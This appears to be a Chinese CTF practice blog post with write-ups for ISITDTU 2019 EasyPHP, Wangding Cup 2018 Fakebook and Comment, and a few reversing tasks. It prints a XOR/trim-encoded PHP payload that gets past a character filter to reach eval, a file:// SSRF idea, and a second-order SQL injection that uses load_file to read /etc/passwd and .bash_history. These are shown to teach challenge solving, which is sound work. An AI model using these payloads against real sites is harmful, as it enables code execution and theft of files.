CTF打卡~Day8

发布于 2020-04-26  916 次阅读


今天写的题比较多,所以可能有些会写的简略一点

ISITDTU 2019 EasyPHP

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

这题还是异或拼接命令。放上几个有意思的References:

https://xz.aliyun.com/t/5677

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html (这题还探讨了另一种很有意思的方法,但是这题用不上)

用昨天的那个脚本很容易就跑出了phpinfo(),但是要找flag会出现一个新的问题:这题限制实在太抠脚了,居然还限制字符数量为13个以内。。。

https://tiaonmmn.github.io/2019/07/18/ISITDTU-Easy-PHP/

这位师傅的帖子我看着比较有意思,这里是他的缩减处理方案:

result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c]  # to be deleted
temp = []
for d in result2:
    for a in result:
        for b in result:
            for c in result:
                if (a ^ b ^ c == d):
                    if a == b == c == d:
                        continue
                    else:
                        print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
                        if d not in temp:
                            temp.append(d)
print(len(temp), temp)

用多重异或进一步缩减使用的字符数量。这个脚本只是看懂了个大概,以后留着慢慢看吧(捂脸)

另一种方案是利用PHP处理字符串的特点,(@!!i=1),之后在继续将其用运算符运算成数字,最终用trim()将其以字符串的形式取用,方便异或。

最后通过分析异或的几种可能性,进一步减少字符使用量就可以了~

Ref: https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU%20CTF%202019%20Quals/web/easyphp.md

这是phpinfo的转化形式

(AYAYYRY^trim(((((!!i+!!i))**((!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i+!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i+!!i)))+(((!!i+!!i))**((!!i+!!i+!!i)))+(((!!i+!!i))**((!!i))))))();//phpinfo()

网鼎杯2018 Fakebook

  • 存在.bak源码泄露
  • view.php?no= 存在注入点
  • 根据泄露的源码,其存在SSRF漏洞
function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }
  • 手工注入后,分析发现1,2,3,4的4中存放的是用户信息的反序列化值
  • 自写一个UserInfo的class,将其$blog指向file:///var/www/html/flag.php

网鼎杯2018 Comment

https://blog.csdn.net/weixin_44377940/article/details/104991188

爆破密码zhangwei666

这一题存在Git泄露,而且有点小技巧

https://www.cnblogs.com/Tkitn/p/11648456.html

在GitHack以后需要对clone下来的文件进行修复,否则文件不全

git log --reflog
git reset --hard ...(commit)

泄露的代码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

这题的主要思路是hack comment里面的sql语句。在写一篇主题的时候,将category写成 111',content={注入内容},/*

在发表评论的时候写上*/#,这样在insert评论的时候sql的语句就是这样的:

insert into comment
            set category = '111',content={注入内容},/*',
                content = '*/#',
                bo_id = '$bo_id'

这样的话就可以将content的内容设置为注入的内容

  • 123',content=(select( load_file('/etc/passwd'))),/* 找www用户的目录
  • /home/www/.bash_history 找目录
  • 发现.DS_Store文件泄露(这一步需要hex()一下,不然出不来)
  • 找flag

xctf game

一路顺着找函数就行了

a=[18,64,98,5,2,4,6,3,6,48,49,65,32,12,48,65,31,78,62,32,49,32,
	   1,57,96,3,21,9,4,62,3,5,4,1,2,3,44,65,78,32,16,97,54,16,44,
	   52,32,64,89,45,32,65,15,34,18,16,0]
b=[123,32,18,98,119,108,65,41,124,80,125,38,124,111,74,49,
	   83,108,94,108,84,6,96,83,44,121,104,110,32,95,117,101,99,
	   123,127,119,96,48,107,71,92,29,81,107,90,85,64,12,43,76,86,
	   13,114,1,117,126,0]
	i=0
	out=''
	while (i<56):
	    a[i]^=b[i]
	    a[i]^=19
	    c=c+chr(a[i])
	    i=i+1
	print (out)

Hello, CTF

main函数里面的字符串就是flag的hex编码...

getit

关键代码用py复现,再xjb搞一下就出来了

s='c61b68366edeb7bdce3c6820314b7498'
t=[0]*64
for v5 in range(0,len(s)):
    if (v5 & 1):
        v3 = 1
    else:
        v3 = -1;
    t[v5+10]= chr(ord(s[v5])+v3)
out = []
for i in t:
    if(i!=0):
        out.append(i)
oout = ''.join(out)
print (oout)

这题好像还能用gdb调试,有空学习一下


等风来,不如追风去。